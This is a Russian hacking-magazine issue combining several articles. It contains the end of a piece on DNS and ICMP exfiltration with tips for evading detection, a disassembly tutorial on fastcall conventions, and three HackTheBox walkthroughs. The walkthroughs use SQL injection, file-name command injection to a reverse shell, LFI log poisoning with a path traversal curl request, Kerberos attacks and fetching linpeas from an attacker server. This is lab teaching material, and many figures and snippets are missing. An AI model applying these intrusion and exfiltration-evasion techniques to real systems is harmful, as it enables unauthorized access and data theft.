поддоменов третьего уровня. Длина поддомена, как правило, не превыша‐
ет 30 символов, соответственно, можно установить правила для блокировки
запросов, превышающих этот порог.
Еще один способ — анализ энтропии доменных имен. Как правило,
легитимные URL содержат осмысленные части, в то время как закодирован‐
ные в Base64 данные имеют более высокую энтропию.
Как вариант, можно искать в пакетах записи DNS, которые нехарактерны
для легитимного трафика, например CNAME или TXT. Если политика безопас‐
ности требует, чтобы все запросы проходили через внутренний сервер DNS,
то по нарушениям можно отследить нелегитимный трафик. Однако боль‐
шинство утилит предназначены для работы даже при пересылке запросов
через внутренний DNS. Многие утилиты используют собственные алгоритмы
генерации доменных имен, что позволяет обнаруживать туннели по сиг‐
натурам.
Один из основных и наиболее простых методов обнаружения — анализ
объема DNS-трафика для конкретного клиентского IP-адреса. Если запросов
вдруг заметно больше, чем от других хостов, значит, есть подозрение
на эксфильтрацию.
Как обойти?
Скрыть DNS-туннелирование от средств защиты лучше всего помогают
самописные инструменты, так как сигнатуры уже созданных утилит есть у вен‐
доров. Кроме того, лучше всего использовать распространенные типы DNS-
записей, такие как A и AAAA. Также можно применять уникальные алгоритмы
генерации доменного имени для передачи закодированной информации,
чтобы они не превышали определенной длины и имели небольшую энтропию.
ICMP-ТУННЕЛИРОВАНИЕ
ICMP (Internet Control Message Protocol) — протокол сетевого уровня, исполь‐
зуемый для диагностики сети.
Утилиты ping и tracert — два основных инструмента администратора
для диагностики неисправностей в сети. Без них диагностика сети превраща‐
ется для инженера в ад. Поэтому трафик ICMP практически никогда не огра‐
ничивается. Согласно RFC 792, пакеты ICMP включают в себя поле Data,
содержимое и формат которого строго не определены, что открывает воз‐
можность для инкапсуляции любых данных.
Для ICMP-туннелирования существуют разные инструменты, такие
как icmpsh, ptunnel и icmptunnel. Важный момент: для отправки модифициро‐
ванных пакетов ICMP в Linux требуются права администратора системы.
В Windows таких ограничений нет. С определенного момента платформа .NET
стала содержать все необходимые инструменты, которые позволяют
при помощи обертки в PowerShell собрать свой ICMP-туннель для вывода
данных без применения сторонних утилит.
На GitHub ты можешь найти код клиента и сервера, которые переправляют
данные через запросы echo, используя встроенные методы класса Ping
из системной сборки.
Как ловить?
Детектирование и блокировка ICMP-туннелей — задача нетривиальная, хотя
и не очень сложная. Главная проблема заключается в том, что трафик ICMP
нельзя блокировать полностью — это может парализовать инфраструктуру
сети. Однако, например, белые списки исходящих ICMP-соединений могут
сильно осложнить задачу построения канала наружу. В списке можно оста‐
вить лишь известные хосты, необходимые для диагностики соединения.
Сигнатурами при детектировании туннелей могут служить такие парамет‐
ры, как сильное отклонение размера пакетов от нормы и слишком плотный
и продолжительный поток трафика ICMP от какого‑то одного хоста. Но глав‐
ный маркер — это, конечно, поле Data.
Впрочем, необходимо помнить, что поле Data используют и вполне
легитимные утилиты. Например, такая привычная вещь, как утилита ping,
в каждом пакете запроса echo заполняет в том числе и поле Data. И в зависи‐
мости от ОС поле будет заполнено по‑разному. Так, для Windows это будет
строка abcdefghijklmnopqrstuvwabcdefghi. В Linux у ping первые два байта
Data отличаются от пакета к пакету, но остальное содержимое не меняется.
В сыром HEX оно выглядит так:
3030000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b
2c2d2e2f3031323334353637
Как обойти?
Как и с другими способами, тут многое зависит от правил детектирования.
Подстановка в начале последовательности abcdef позволит придать нашим
пакетам вид легитимных. Для борьбы с туннелями ICMP обычно блокируют
запросы echo, однако часто не блокируют другие типы ICMP. Например,
destination unreachable.
Кроме того, если наша задача — только вывод данных, без обратной свя‐
зи от сервера, то достаточно одностороннего туннеля, а значит, мы можем
генерировать случайные IP-адреса источника (например, с использованием
scapy). Это позволит обойти фильтрацию и детект большого потока пакетов
от одного IP. Кроме того, этот прием позволит замаскировать реальный адрес
машины, служащей источником утечки.
Открытие файла
Как ловить?
Обнаружить такой специфический метод штатными средствами может быть
проблематично. Однако утилита пока что встречается редко и не обросла
большим числом модификаций. Так что можно защититься добавлением хеша
исполняемого файла в базу антивируса.
Чтобы полноценно отслеживать запуск подобного передатчика, придется
контролировать изображение рабочего стола сотрудников. Так как приемник
ищет в кадрах специальный заголовок, его может искать и средство защиты.
Как обойти?
Вендорских решений, которые бы противодействовали такому способу
эксфильтрации, пока что не существует, поэтому и запуск передатчика вряд
ли будет обнаружен. Однако, если в компании используются системы, кон‐
тролирующие активность сотрудников, есть определенная вероятность, что
кто‑то может заметить странное мигание на рабочем столе. Так что
перед использованием этого метода стоит заранее убедиться, смотрит ли
дежурная служба за рабочими столами сотрудников или нет.
ЗАКЛЮЧЕНИЕ
В этой статье я собрал разные методы, которые позволяют передать
информацию в обход ограничений как на прикладном уровне, так и на более
низких. Обобщив эти примеры, можно сделать вывод, что если в организации
есть каналы передачи информации во внешний мир, то эти каналы так
или иначе могут быть использованы для эксфильтрации данных. Как известно,
информацию нельзя извлечь только из выключенного компьютера в клетке
Фарадея, залитой для надежности бетоном. По крайней мере, пока.
В современных реалиях компании не могут позволить себе быть пол‐
ностью изолированными от мировой сети. Тем не менее наиболее эффектив‐
ный и недорогой метод противодействия — это блокировка исходящего тра‐
фика. Если заблокировать облачные диски и мессенджеры на периметре
компании, это остановит хотя бы сотрудников, не обладающих специальными
знаниями.
Ведение белого списка внешних хостов, к которым разрешен трафик
ICMP, ограничит возможность построения ICMP-туннеля.
Для эксфильтрации через веб‑сервисы можно использовать практически
любой ресурс, позволяющий загружать данные. Но все ресурсы, где есть
функция комментирования, заблокировать невозможно, не сделав
инфраструктуру изолированной.
Профилирование трафика организации и выявление базового уровня поз‐
волит находить аномалии в количестве или размерах пакетов, что может сви‐
детельствовать о попытке эксфильтрации данных. Использование же систем
DLP эффективно ровно до того момента, пока злоумышленник не начнет при‐
менять шифрование.
В заключение напомню, что системы бесполезны, если у злоумышленника
будет физический доступ к ПК, возможность вставить свою флешку, 3G-
модем или выдернуть сетевой кабель и вставить в свой ноутбук или роутер.
ВЗЛОМ
ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ
ХАКЕРСТВА
Крис Касперски
Известный российский
хакер. Легенда ][, ex-
редактор ВЗЛОМа. Также
известен под псевдонимами
мыщъх, nezumi (яп. 鼠,
мышь), n2k, elraton, souriz,
tikus, muss, farah, jardon,
KPNC.
СОГЛАШЕНИЕ
О БЫСТРЫХ
ВЫЗОВАХ — FASTCALL
Юрий Язев
Широко известен под
псевдонимом yurembo.
Программист, разработчик
видеоигр, независимый
исследователь. Старый автор
журнала «Хакер».
yazevsoft@gmail.com
#include <stdio.h>
#include <string>
int main()
{
printf("%x\n", MyFunc(0x1, 0x2, 0x3, 0x4));
return 0;
}
Исходник fastcall_4_args
mov r9d, 4 ; d
mov r8d, 3 ; c
mov edx, 2 ; b
mov cl, 1 ; a
call MyFunc(char,int,long,int)
mov edx, eax
#include <iostream>
int main()
{
std::cout << "int = " << sizeof(int) * byte << '\n';
std::cout << "long = " << sizeof(long) * byte << '\n';
std::cout << "bool = " << sizeof(bool) * byte << '\n';
std::cout << "float = " << sizeof(float) * byte << '\n';
std::cout << "double = " << sizeof(double) * byte << '\n';
// и так далее нужные тебе типы данных
return 0;
}
mov eax, 1
mov r8d, 2
mov r9d, 3
mov r10d, 4
mov [rsp+38h+var_4], 0
mov [rsp+38h+var_8], ecx
mov [rsp+38h+var_10], rdx
mov ecx, eax ; int
mov edx, r8d ; __int64
mov r8d, r9d
mov r9d, r10d
call MyFunc(char,int,long,int)
lea rcx, unk_44A000
mov edx, eax
; Возвращаемое значение выводим на консоль
call printf
mov [rsp+38h+var_4], 0
mov [rsp+38h+var_14], eax
mov eax, [rsp+38h+var_4]
; Обрати внимание: этот компилятор еще и сам чистит стек
add rsp, 38h
retn
main endp
Затем MyFunc:
#include <stdio.h>
#include <string.h>
int main()
{
int a = 2;
printf("%x\n", MyFunc(strlen("1"), &a, strlen("333")));
}
call printf
xor eax, eax
mov rcx, [rsp+38h+var_10]
xor rcx, rsp ; StackCookie
call __security_check_cookie
add rsp, 38h
retn
Продолжение статьи
→
ВЗЛОМ ←
НАЧАЛО СТАТЬИ
ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ ХАКЕРСТВА СОГЛАШЕНИЕ О БЫСТРЫХ ВЫЗОВАХ —
FASTCALL
Открываем кадр стека, затем копируем в регистр RBP указатель на вершину
стека, а в регистр RAX — указатель на переменную var_14.
mov r8b, al
Сегмент данных
Затем по списку для передачи используется регистр R8, но от него нам нужна
только половина — R8D (32 бита). На данном шаге мы владеем всей
информацией, чтобы восстановить прототип вызываемой кастомной фун‐
кции. Поэтому, не подглядывая в дизассемблированный код IDA, выведем
прототип сами: MyFunc(char,int *,int).
ASCII Table
Но это еще только полбеды! Дальше нас ждет функция MyFunc. Первое, что
бросается в глаза при взгляде на код этой функции, — для обращения
к локальным переменным вместо вершины стека (регистра RSP) используется
регистр RBP. Что это значит? Официальная документация говорит нам, что
RBP — указатель на кадр стека, то есть на его текущую конфигурацию. Поэто‐
му большинство компиляторов используют регистр RSP для улучшения про‐
изводительности генерируемого кода. Но, поскольку в нашем случае опти‐
мизация отключена, компилятор не гонится за скоростью и использует более
медленные решения.
#include <stdio.h>
int main()
{
printf("%f\n", MyFunc(6.66, 7.77));
}
Следующая инструкция «ужимает» значение со 128 бит до 64, помещая его
в соответствующий регистр.
; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near ; DATA XREF: __acrtused+29↑o
var_14 = dword ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
; C++Builder зачем-то добавил переменные
push rbp
sub rsp, 40h
lea rbp, [rsp+40h]
; Готовит аргументы слева направо
movss xmm0, cs:dword_44D000 ; float
movsd xmm1, cs:qword_44D010 ; double
; Сохраняет значения в стеке
mov [rbp+var_4], 0
mov [rbp+var_8], ecx
mov [rbp+var_10], rdx
call MyFunc(float,double)
; После получения результата преобразует его к одинарной
точности
cvtss2sd xmm0, xmm0
; Форматная строка
lea rcx, unk_44D020
; Копирование и подготовка числа к выводу
movaps xmm1, xmm0
movq rdx, xmm0
call printf
mov [rbp+var_4], 0
mov [rbp+var_14], eax
mov eax, [rbp+var_4]
add rsp, 40h
pop rbp
retn
main endp
; __int64 __fastcall MyFunc(float, double)
public MyFunc(float, double)
MyFunc(float, double) proc near ; CODE XREF: main+28↓p
var_14 = dword ptr -14h
var_10 = qword ptr -10h
var_4 = dword ptr -4
Весьма странно здесь повела себя IDA, не распознав ни одного аргумента,
но зато объявив три переменные.
push rbp
sub rsp, 18h
lea rbp, [rsp+10h]
program send_real_value_delphi;
{$R *.res}
uses
System.SysUtils, Math; // Используем математическую библиотеку
var
a: Real;
b: Real;
begin
a := 6.66;
b := 7.77;
MyProc(a + b);
end.
Продолжение статьи
→
ВЗЛОМ ←
НАЧАЛО СТАТЬИ
ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ ХАКЕРСТВА СОГЛАШЕНИЕ О БЫСТРЫХ ВЫЗОВАХ —
FASTCALL
Вывод программы
IDA View
call _ZN7Sysinit8_InitExeEPv
; В регистр RAX помещаем первое вещественное значение
mov rax, 401AA3D70A3D70A4h
; Перемещаем его в локальную переменную a
mov cs:_ZN22Send_real_value_delphi1aE, rax
; В регистр RAX помещаем второе вещественное значение
mov rax, 401F147AE147AE14h
; Перемещаем его в локальную переменную b
mov cs:_ZN22Send_real_value_delphi1bE, rax
; Значение удвоенной точности из переменной a копируем в регистр XMM0
movsd xmm0, cs:_ZN22Send_real_value_delphi1aE
call _ZN6System6_Halt0Ev
call _ZN6System19_UnhandledExceptionEv
; ---------------------------------------------------------------
db 90h
; ---------------------------------------------------------------
loc_429445: ; Метка, где находится эпилог функции
lea rsp, [rbp+20h]
pop rbp
retn
; } // Starts at 4293E0
_ZN22Send_real_value_delphi14initializationEv endp
IDA верно распознала один аргумент. Кроме того, здесь объявляются две
переменные.
call _ZN6System4Math7RoundToEea
call _ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE
mov rcx, rax
call _ZN6System8_WriteLnERNS_8TTextRecE ; WriteLn
call _ZN6System8__IOTestEv
nop
lea rcx, [rbp+var_s20]
call _ZN6System8_UStrClrEPv
lea rsp, [rbp+30h]
pop rbp
retn
_ZN22Send_real_value_delphi6MyProcEd endp
Казалось бы, с типами данных уже давно все понятно, но даже здесь у Delphi
есть скрытый прием, на котором по недосмотру можно запросто шею свер‐
нуть! Будь внимателен.
#include <iostream>
class MyClass
{
public:
// Прототип demo_1 в действительности выглядит так: demo_1(this,
int a);
void demo_1(int a)
{
std::cout << "demo_1" << ": " << a << std::endl;
}
// Прототип demo_2 в действительности выглядит так: demo_2(this,
int a, int b);
void demo_2(int a, int b)
{
std::cout << "demo_2" << ": " << a << ", " << b << std::endl;
}
// Прототип demo_3 в действительности выглядит так: demo_3(this,
int a, int b, int c);
void demo_3(int a, int b, int c)
{
std::cout << "demo_3" << ": " << a << ", " << b << ", " << c <<
std::endl;
}
// Прототип demo_4 в действительности выглядит так: demo_4(this,
int a, int b, int c,
// int d);
void demo_4(int a, int b, int c, int d)
{
std::cout << "demo_4" << ": " << a << ", " << b << ", " << c <<
", " << d << std::endl;
}
};
int main()
{
MyClass* zzz = new MyClass();
zzz->demo_1(0);
zzz->demo_2(1,2);
zzz->demo_3(3,4,5);
zzz->demo_4(6,7,8,9);
delete zzz;
return 0;
}
; int __cdecl main(int argc, const char **argv, const char **envp)
main proc near
d = dword ptr -48h
var_38 = qword ptr -38h
var_30 = qword ptr -30h
var_28 = qword ptr -28h
block = qword ptr -20h
var_18 = qword ptr -18h
sub rsp, 68h
; Выделяем 1 байт для экземпляра класса
mov ecx, 1 ; size
; Вызываем конструктор
call operator new(unsigned __int64)
mov [rsp+68h+var_30], rax
; Переменная var_30 — указатель на объект
; Но если же она равна нулю...
cmp [rsp+68h+var_30], 0
; Делаем прыжок на метку
jz short loc_140001257
; Продолжаем нормальное выполнение — в var_30 указатель на объект
mov rax, [rsp+68h+var_30]
; В var_28 указатель на объект
mov [rsp+68h+var_28], rax
; Безусловный переход
jmp short loc_140001260
; ---------------------------------------------------------------
loc_140001257: ; CODE XREF: main+19↑j
mov [rsp+68h+var_28], 0
loc_140001260: ; CODE XREF: main+25↑j
mov rax, [rsp+68h+var_28]
; В var_38 указатель на объект
mov [rsp+68h+var_38], rax
; Начинается подготовка регистров для передачи аргументов: справа
налево
; Весьма интересный способ обнуления значения: с помощью инструкции
xor
xor edx, edx ; a
; В RCX помещается указатель на объект
mov rcx, [rsp+68h+var_38] ; this
; Вызов метода
call MyClass::demo_1(int)
; После возвращения сразу готовятся новые аргументы: два явных и
один неявный
mov r8d, 2 ; b
mov edx, 1 ; a
mov rcx, [rsp+68h+var_38] ; this
call MyClass::demo_2(int,int)
; Три явных и один неявный — все помещаются в целочисленные регистры
mov r9d, 5 ; c
mov r8d, 4 ; b
mov edx, 3 ; a
mov rcx, [rsp+68h+var_38] ; this
call MyClass::demo_3(int,int,int)
; Четыре явных аргумента и один неявный, не хватает регистров!
; Самый правый аргумент — d помещается в стек
mov [rsp+68h+d], 9 ; d
mov r9d, 8 ; c
mov r8d, 7 ; b
mov edx, 6 ; a
mov rcx, [rsp+68h+var_38] ; this
call MyClass::demo_4(int,int,int,int)
mov rax, [rsp+68h+var_38]
mov [rsp+68h+block], rax
mov edx, 1 ; __formal
mov rcx, [rsp+68h+block] ; block
; Вызов деструктора
call operator delete(void *,unsigned __int64)
cmp [rsp+68h+block], 0
jnz short loc_1400012F5
mov [rsp+68h+var_18], 0
jmp short loc_140001308
; ---------------------------------------------------------------
loc_1400012F5: ; CODE XREF: main+B8↑j
mov [rsp+68h+var_38], 8123h
mov rax, [rsp+68h+var_38]
mov [rsp+68h+var_18], rax
loc_140001308: ; CODE XREF: main+C3↑j
xor eax, eax
add rsp, 68h
retn
main endp
ПАРАМЕТРЫ ПО УМОЛЧАНИЮ
Чтобы проще было вызывать функции с «хороводом» параметров, в язык C++
ввели возможность задать параметры по умолчанию. Отсюда возникает воп‐
рос: отличается ли чем‑нибудь вызов функций с параметрами по умолчанию
от обычных функций? И кто инициализирует опущенные параметры —
вызываемая или вызывающая функция?
Так вот, при вызове функций с параметрами по умолчанию компилятор
самостоятельно добавляет недостающие параметры, а вызов такой функции
ничем не отличается от вызова обычных функций.
Докажем это на следующем примере:
#include <iostream>
int main()
{
MyFunc();
}
; int __cdecl main(int argc, const char **argv, const char **envp)
main proc near
sub rsp, 28h
mov r8d, 3 ; c
mov edx, 2 ; b
mov ecx, 1 ; a
call MyFunc(int,int,int)
xor eax, eax
add rsp, 28h
retn
main endp
HTB
INTELLIGENCE
ПЕНТЕСТИМ ACTIVE DIRECTORY
ОТ MSA ДО KDC
WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.10.248 intelligence.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
OSINT
В документах ничего важного не обнаружилось. Но из любого курса по OSINT
(разведка на основе открытых источников) ты узнаешь, что в документах
самое интересное — это метаданные, особенно атрибуты вроде «создатель»
или «владелец». Они могут раскрывать имена пользователей, которые потом
можно использовать для доступа к учеткам.
Для получения метаинформации можно использовать exiftool. Чтобы
установить и использовать ее, пишем:
exiftool *
ТОЧКА ВХОДА
Перечисление аккаунтов
Мы нашли два имени, а значит, можем поискать аккаунты через аутентифика‐
цию Kerberos. Дело в том, что Kerberos нам сообщит, если пользователя нет
в базе. Нужно лишь сформировать все возможные названия аккаунтов и про‐
сеивать их. К примеру, для пары name surname можно составить такие имена:
Administrator
Guest
name
namesurname
name.surname
names
name.s
sname
s.name
surname
surnamename
surname.name
surnamen
surname.n
nsurname
n.surname
#!/usr/bin/python3
for n in list:
print(n)
Найденные пользователи
Сортируем результат по коду ответа, чтобы найти документы среди сооб‐
щений об ошибках.
Результат атаки
Продолжение статьи
→
ВЗЛОМ ←
НАЧАЛО СТАТЬИ
HTB INTELLIGENCE
ПЕНТЕСТИМ ACTIVE DIRECTORY ОТ MSA
ДО KDC
ТОЧКА ОПОРЫ
Для парсинга файла save.txt и запуска wget будем использовать awk.
#!/usr/bin/python3
Теперь нам стали доступны для чтения директории Users и IT. Снова рекур‐
сивно выводим все содержимое ресурса, где и находим флаг пользователя,
а также какой‑то скрипт на PowerShell.
Содержимое ресурса IT
Флаг пользователя
ПРОДВИЖЕНИЕ
Мы нашли еще один интересный файл — скрипт на PowerShell. Скачиваем его
и смотрим, что внутри.
Загрузка файла
Утечка NTLM-хеша
Если мы сможем создать свою запись DNS, то запрос будет идти на наш хост.
Это позволит нам получить учетные данные целевого пользователя
с помощью Responder. Сначала активируем наш отлавливатель.
Логи Responder
Нас интересует число в графе MODE — это и есть тип хеша. Его мы передаем
hashcat в параметре -m. Параметр -a, равный нулю, говорит о переборе
по словарю.
Пароль пользователя
Пароль нашелся очень быстро, но, где его использовать, я на этом этапе
не понимал.
Повышение привилегий
Для поиска путей эксплуатации и повышения привилегий в Active Directory
написано много скриптов на PowerShell, и самый популярный из них —
PowerView. Его даже переписали на C#, чтобы работать без PowerShell.
Единственный минус — нужно уже присутствовать в среде Active Directory.
Но мало кто знает, что его также переписали и на Python, утилита называется
pywerview. Именно этой версией мы и воспользуемся.
Первым делом узнаем информацию о пользователях, группах и служебных
аккаунтах с помощью команд get-netuser, get-netgroup и get-
netcomputer.
Флаги UAC
Silver Ticket
Давай сделаем Silver Ticket для SPN WWW. Но перед этим нужно выставить сис‐
темное время как на сервере (для аутентификации Kerberos необходимо раз‐
личие в системном времени не более пяти минут).
export KRB5CCNAME=Administrator.ccache
python3 /usr/share/doc/python3-impacket/examples/smbclient.py -k
intelligence.htb/Administrator@dc.intelligence.htb -no-pass
Флаг рута
HTB
WRITER
ЛОМАЕМ ПРИЛОЖЕНИЕ
НА DJANGO, ЧТОБЫ ЗАХВАТИТЬ
ВЕБ-СЕРВЕР
WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.10.101 writer.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Служба SMB
Посмотрим, что мы сможем узнать об SMB без учетных данных. Для этого
достаточно всего одной команды:
enum4linux -a writer.htb
Полученные пользователи
Сканирование веб-контента
Заглянем на главную страницу сайта. Здесь ничего интересного нет, разве
что имена авторов над каждым постом. В таких случаях нужно искать допол‐
нительные страницы при помощи слепого перебора. Просканируем дирек‐
тории в корневом каталоге сайта с помощью ffuf.
Помимо известных нам страниц, мы нашли вход в админку. Там нас ждет фор‐
ма авторизации.
Форма авторизации
ТОЧКА ВХОДА
Так как сайт самописный, я решил протестировать обход аутентификации
для разных технологий. Начал, конечно же, с SQL-инъекции. Переводим зап‐
рос в Burp Intruder и подставляем список нагрузок и в поле логина, и в поле
пароля (у меня свой список, но их полно на GitHub). В результате находим
последовательности, которые возвращают меньше данных, чем все осталь‐
ные.
Это работает, так как, скорее всего, на стороне сервера используется SQL-
запрос вроде такого (код примерный):
Базы данных
Теперь получим таблицы из таблицы writer. Чтобы не копировать данные
каждый раз, можно использовать Burp Inspector. Тогда кодировка будет
выполняться автоматически.
Таблицы
Получаем хеш. Только есть одна загвоздка — он нам ничего не дает. Поэтому
нужно снова менять вектор атаки. Попробуем читать файлы с сервера, к при‐
меру из /etc/passwd.
Продолжение статьи
→
ВЗЛОМ ←
НАЧАЛО СТАТЬИ
HTB WRITER
ЛОМАЕМ ПРИЛОЖЕНИЕ НА DJANGO,
ЧТОБЫ ЗАХВАТИТЬ ВЕБ-СЕРВЕР
ТОЧКА ОПОРЫ
Так как мы можем читать файлы на сервере, следующий наш шаг — получить
и проанализировать исходные коды сайта. Чтобы узнать путь к файлам сайта,
взглянем на файл конфигураций Apache /etc/apache2/sites-enabled/000-
default.conf.
Теперь мы знаем путь к файлу writer.wsgi на сервере. WSGI (Web Server
Gateway Interface) — стандарт взаимодействия между программой на Python,
работающей на стороне сервера, и самим веб‑сервером. Получим содер‐
жимое этого файла.
Этот файл содержит код, который выполняет модуль Apache mod_wsgi, чтобы
получить объект приложения. В данном случае мы узнаем про модуль writer.
Именно из этого каталога мы получим файл __init__.py.
Так, при загрузке файла с URL проверяется его расширение, оно должно
быть .jpg (строка 108). Далее происходит получение файла и его раз‐
мещение вызовом команды mv (строки 110–112). Затем проверяется изоб‐
ражение (строки 114–116), если успешно — той же командой mv оно переме‐
щается из временной директории в директорию на веб‑сервере (строки 117–
119). Если проверка не пройдена, команда rm удаляет файл.
Так как дополнительных проверок не предусмотрено, мы можем создать
конвейер команд и выполнить инъекцию. Это даст удаленное выполнение
кода. Плюс ко всему проверка отсутствует и при загрузке файла через форму.
Так мы можем загрузить файл, название которого будет содержать цепочку
команд с реверс‑шеллом, а затем указать загрузку файла через URL
с локального хранилища, что приведет к выполнению этой цепочки команд.
Теперь собираем цепочку команд. Будем использовать такой
реверс‑шелл:
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина,
а мы принимаем и таким образом подключаемся к ней, чтобы выполнять
команды от лица пользователя, который запустил шелл. Для приема соеди‐
нения необходимо создать на локальной машине listener, то есть «слу‐
шатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе
прочего позволяет пользоваться историей команд. Она обычно доступна
в репозитории дистрибутива.
В качестве самого листенера при этом можно использовать широко
известный netcat.
Теперь выполним загрузку через URL, при этом в Burp Proxy изменим путь
на локальный и добавим к команде знак комментария. В окне листенера
получим бэкконнект.
Бэкконнект от сервера
ПОЛУЧЕНИЕ ПОЛЬЗОВАТЕЛЯ
Поиск учетных данных
В большинстве случаев, когда мы собираемся поменять контекст на поль‐
зовательский, нам для этого нужны учетные данные. Так как на сервере
работает веб‑приложение, мы можем попытаться получить пароли из него.
В конфигурационном файле MySQL /etc/mysql/mariadb.cnf находим све‐
дения для подключения к базе данных.
Базы данных
use dev;
show tables;
Мы получаем хеш, который нужно пробрутить. Для этого нам надо знать алго‐
ритм и соответствующий ему режим hashcat. Узнать их можно такой коман‐
дой:
Флаг пользователя
ПРОДВИЖЕНИЕ
При поиске пути продвижения стоит смотреть не только на запущенное ПО,
но и на прослушиваемые порты. Это связано с тем, что некоторые сервисы
могут быть доступны только для пользователей локального компьютера.
Обращаем внимание на порт 25 — это порт почтового сервера.
Мы знаем двух пользователей, и один у нас уже под контролем. Мне стало
интересно, что произойдет в системе, если я отправлю другому пользовате‐
лю сообщение.
Для мониторинга всех запускаемых в системе процессов в реальном вре‐
мени будем использовать утилиту pspy64. Загружаем ее на хост, открываем
еще одну сессию SSH и запускаем. Затем с помощью netcat подключимся
к 25-му порту и, используя служебные заголовки SMTP, отправим сообщение.
nc 127.0.0.1 25
helo [сервер]
DATA
[сообщение]
Отправка сообщения
Логи pspy
Сообщение встало в очередь, а в логах pspy увидим активность: запуск pipe
и последующее выполнение /etc/postfix/disclaimer от имени поль‐
зователя с UID, равным 1001 (пользователь john). При этом мы имеем право
на запись в данный файл!
Полученный бэкконнект
Логи pspy
Флаг рута
HTB
PIKABOO
ПЕНТЕСТИМ NGINX
И ПОВЫШАЕМ ПРИВИЛЕГИИ
ЧЕРЕЗ LFI
WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.10.249 pikaboo.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Мы нашли три открытых порта: 21 (служба VSFTPD 3.0.3), 22 (служба SSH) и 80
(веб‑сервер nginx 1.14.2). На SSH без учетных данных стучаться бесполезно,
но и на FTP нам делать нечего: Nmap уже проверил возможность анонимного
входа и не обнаружил ее.
Брут FTP
Можно пробовать перебрать популярные логины для FTP. Ты легко найдешь
готовые списки запросом вроде ftp default credentials github.
Для этого будем использовать hydra (не путать с Ghidra). Опцией -t уста‐
новим 32 потока.
СКАНИРОВАНИЕ ВЕБ-КОНТЕНТА
Смотрим сайт и обнаруживаем, что он еще в разработке, о чем свидетель‐
ствуют сообщения «PokeAPI Integration - Coming soon!» на некоторых стра‐
ницах.
Ошибка доступа
ТОЧКА ВХОДА
Уязвимость nginx path traversal
Если сталкиваешься с веб‑сервером nginx, всегда стоит искать уязвимость
обхода путей. Она появляется при неправильно настроенных алиасах. Nginx
alias — это некий псевдоним, который позволяет скрыть реальное мес‐
тоположение объекта. Он задается в директиве location. К примеру, сле‐
дующая конфигурация установит замену /img/ на /web/data/images/:
location /img/ {
alias /web/data/images/;
location /img {
alias /web/data/images/;
Страница admin_staging
ТОЧКА ОПОРЫ
Уязвимость LFI
При тесте Local File Inclusion можно просто отдать одному из сканеров дирек‐
торий список с соответствующими нагрузками. Я для перебора использовал
Burp Intruder со своими словарями (можешь поискать готовые на GitHub).
Первым делом определяем нагрузку, с помощью которой можно прос‐
мотреть доступный для всех системных пользователей файл на удаленном
хосте. В результате перебора удалось прочитать файл /var/log/lastlog
через обход директорий последовательностью ../../../../../.
От LFI к RCE
Есть несколько способов получить удаленное выполнение кода (RCE), имея
LFI, и один из них я сейчас покажу. Дело в том, что мы можем заставить
веб‑сервер обратиться к файлу логов службы FTP и таким образом косвенно
выполнить туда запись. Например, если мы попытаемся авторизоваться
от лица пользователя test_test_test, то эта строка попадет в этот лог.
Таким образом, мы можем записать в файл код на PHP и, обратившись к это‐
му файлу через веб‑сервер, выполнить его!
Давай авторизуемся в службе FTP, передав в качестве логина код, который
даст нам реверс‑шелл:
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина,
а мы принимаем и таким образом подключаемся к ней, чтобы выполнять
команды от лица пользователя, который запустил шелл. Для приема соеди‐
нения необходимо создать на локальной машине listener, то есть «слу‐
шатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе
прочего позволяет пользоваться историей команд. Она обычно доступна
в репозитории дистрибутива.
В качестве самого листенера при этом можно использовать широко
известный netcat.
curl 'http://pikaboo.htb/admin../admin_staging/index.
php?page=../../../../..//var/log/vsftpd.log'
Продолжение статьи
→
ВЗЛОМ ←
НАЧАЛО СТАТЬИ
HTB PIKABOO
ПЕНТЕСТИМ NGINX
И ПОВЫШАЕМ ПРИВИЛЕГИИ ЧЕРЕЗ LFI
ПРОДВИЖЕНИЕ
Искать пути для дальнейшего продвижения мы будем с помощью скриптов
PEASS.
wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь надо загрузить его на удаленный хост. В директории со скриптом
на локальной машине запустим с помощью Python простой веб‑сервер. Пос‐
ле выполнения этой команды веб‑сервер будет прослушивать порт 8000.
python3 -m http.server
wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Открытые порты
Найденные хеши
Первым делом я решил посмотреть на задачу в сron, так как этот путь может
напрямую привести к высоким привилегиям.
Этот скрипт обрабатывает файлы CSV во всех вложенных каталогах дирек‐
тории /srv/ftp/ с помощью приложения csvupdate. Я сразу увидел воз‐
можность манипулировать параметром, но, так как мы пока не можем
работать с этим каталогом, вернемся к нему позже.
